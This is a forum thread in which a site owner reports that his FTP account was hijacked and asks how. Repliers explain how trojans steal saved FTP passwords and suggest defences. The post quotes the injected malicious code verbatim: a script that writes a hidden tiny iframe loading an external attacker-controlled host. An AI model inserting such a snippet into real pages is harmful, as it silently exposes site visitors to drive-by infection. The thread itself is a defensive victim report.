Viruses on the site. How was FTP hacked?

A

AlexeyNadezhin2012-07-13 12:51:38

Malware

AlexeyNadezhin, 2012-07-13 12:51:38

On July 2, I unexpectedly received the following letter from Yandex in my mail:

Some of the pages on your website may pose a threat to your visitor's computer security. The number of potentially harmful pages is 1.

Registered on webmaster.yandex.com, launched a second check. The next day it wrote that everything was fine, but I still decided to compare all the site files with last year's copy. It turned out that 12 files differ.
In the temlates folder, two files had the date 06/29/12. In the header.tpl file, instead of the line

&lt;body style=&quot;background: url(&lt;?=PATH_WEB?&gt;img/main_bg.gif) repeat-y center #244e9f;&quot;&gt;

this mess came up:

&lt;body style=&quot;background: url(&lt;?=PATH_WEB?&gt;&lt;!--c3284d--&gt; type=&quot;text/javascript&quot;&gt;
document.write('&lt;iframe src=&quot;httр://yоgоtraff.cu.cc/in.cgi?11&quot; name=&quot;Google &quot; scrolling=&quot;auto&quot; frameborder=&quot;no&quot; align=&quot;center&quot; height=&quot;2&quot; width=&quot;2&quot;&gt;&lt;/iframe&gt;');
&lt;/script&gt;&lt;!--/c3284d--&gt;

img/main_bg.gif) repeat-y center #244e9f;&quot;&gt;

The same was in the galleryEdit.tpl file and ten more files in the script\jscalendar folder.
If you search on Google, this yogotraff can be found in the code of many Russian sites: www.google.ru/search?ie=UTF-8&hl=ru&q=yogotraff.
Obviously, this is some kind of malicious stuff. Of course, I recovered the files, changed the passwords and wrote a request to the hosting provider, asking how the infection happened. Got a response and logs. At this time, someone from the American address 208.77.96.72 climbed into two of my ftp (and the second is inside the first) and replaced a bunch of files there. As it turned out, my other sites also suffered. The provider offered to scan my computer for viruses. Checked. DrWeb and Kaspersky from boot disks to clear my conscience. There are no viruses. Just little things in FireFox's cache. And how then was my ftp password stolen? It's complicated, you can't pick it up.
What a terrible life.

Reply

Answer the question

In order to leave comments, you need to log in

7 answer(s)

R

Ruma7a, 2012-07-13
@Ruma7a

“It's complicated, you can't pick it up”
Uh-huh, only it is transmitted in the form of plain text ) Maybe you should think about SSH / SFTP? I apologize in advance if everything is already secure in this regard, it’s just that you mention “just” FTP there.

V

Vladimir Dubrovin, 2012-07-13
@z3apa3a

A fairly standard situation is when a Trojan steals FTP passwords for websites. That is, there are or were viruses. Look for the Trojan on all computers from which the site was accessed via FTP, perhaps they went somewhere else and forgot about it. Change the password for FTP access. After going, set the permissions on the files so that they cannot be overwritten via FTP, every time you need to update the site, change the permissions back.

K

Konstantin Frolov, 2012-07-15
@nitro80

And the hoster does not have Plesk by any chance?

N

Niemand, 2012-07-13
@Niemand

I know for sure that this is how passwords from old versions of Filezilla, WS_FTP (I don’t know about the new ones) and Total Commander.

F

freem4n, 2012-07-13
@freem4n

Websites hosted on shared hosting? Server OS?

C

charliez, 2012-07-13
@charliez

it is enough to visit a site infected according to the same scheme with any browser, and through the adobe flash / sun java vulnerabilities, the virus is activated on the computer and scans the saved passwords in the settings files of popular ftp clients.

A

admin4eg, 2012-07-16
@admin4eg

the standard situation, as they say above, is the computer from which they visited the site at least once.
Trojans have long been able to collect passwords from “headlights”, “total commander” and other popular programs.
change passwords monitor login attempts, restrict incoming ip on ftp